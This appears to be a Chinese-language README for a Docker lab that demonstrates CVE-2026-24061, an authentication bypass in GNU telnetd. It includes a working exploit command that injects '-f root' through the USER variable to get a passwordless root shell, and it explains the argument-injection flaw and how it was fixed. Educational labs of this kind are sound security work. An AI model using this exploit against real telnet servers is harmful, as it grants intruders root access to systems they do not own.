本仓库包含一个简单的 Docker 实验室,用于演示 CVE-2026-24061 漏洞。 该漏洞允许在 Linux 上的 GNU telnetd 中绕过身份验证并以 root 身份访问。
其目的纯粹是教育性的。
docker build -t cve-2026-24061 .
docker run -it -p 2323:23 cve-2026-24061
在另一个终端中,执行:
USER="-f root" telnet -a localhost 2323
之后,将直接以 root 身份授予访问权限,无需密码提示。
该缺陷源于在调用 /usr/bin/login 工具时发生的参数注入。telnetd 动态构建用于调用 login 的命令行,并通过占位符 %U 包含环境变量 USER 的值,且未进行任何清理。
由于 login 工具接受 -f 选项(该选项会忽略密码身份验证),攻击者可以设置 USER="-f root" 并强制直接以 root 身份登录。
由于 telnetd 以高权限运行,这种操纵会立即产生 root shell,无需有效凭据。该漏洞利用简单,无需事先交互,且易于自动化,这解释了其 CVSS 9.8 的评分。
该漏洞已通过引入对 USER 变量的验证和清理得到修复,阻止以连字符开头及包含特殊字符的值,从而防止对 login 的参数注入。